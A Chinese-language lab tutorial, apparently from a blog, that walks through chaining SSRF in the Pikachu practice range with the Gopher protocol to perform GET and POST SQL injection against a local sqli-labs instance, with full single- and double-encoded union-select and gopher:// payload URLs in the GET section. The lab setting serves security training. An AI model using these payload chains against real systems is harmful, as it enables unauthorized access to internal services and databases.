SSRF5 Gopher 协议对内网 Web 服务进行 sql 注入 GET 类型和POST类型

发布于:2025-06-19 ⋅ 阅读:(13) ⋅ 点赞:(0)

实验环境;

Centos7.6上同时安装sqli-lib和pikachu

一.Gopher 协议对内网 Web 服务进行 sql 注入 GET 类型

我们先访问sqli-lib第1关

然后我们构造URL:

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-

labs/Less-1/?id=-1' union select 1,user(),database() --+

我们再到pikachu靶场里面进行ssrf实验:

发现报错了,这里我们需要进行两次编码:

为什么要 2 次编码?

1. 首先我们发给服务器的时候 URL 地址中不能包含特殊字符,需要第一次编码。先解码%25

2. 服务器接收到我们的 URL 地址之后由 url_exec()解析 URL 地址,此时服务器进行第二次解码。

第二次解码则解码空格以及特殊字符。

第一次:只对传递的参数id进行编码。

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-labs/Less-1/?id=-1'union%20select%201%2Cuser()%2Cdatabase()--%20%2B第二次:

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-labs/Less-1/?id=-1'union%2520select%25201%252Cuser()%252Cdatabase()--%2520%252B

然后我们可以看到成功利用pikachu靶场访问sqli-lib并利用sql注入漏洞。

我们再bp抓包:

利用脚本进行编码:

_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A
 

然后拼接URL:gopher://192.168.112.12:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A

然后我们对其进行二次编码:

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.112.12%3A80%2F_GET%2520%2Fsqli-labs%2FLess-1%2F%253Fid%253D-1%252527union%252520select%2525201%252Cuser%2528%2529%252Cdatabase%2528%2529--%252520%252B%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.112.12%250D%250A

我们也是成功利用gopher协议完成SSRF的GET请求。

二.Gopher 协议对内网 Web 服务进行 sql 注入POST 类型

我们依旧先打开sqli-lab靶场进入11关:

然后bp抓包

我们利用编码脚本先对POST请求进行编码:

然后我们得到结果构造URL:

在前面添加:gopher://192.168.112.12/

然后我们在pikachu里面进行URL构造:

再编码一次就可以了。

我们也是成功利用POST请求拿到sqli-lab的数据库名称和user表

 


网站公告

今日签到

点亮在社区的每一天
去签到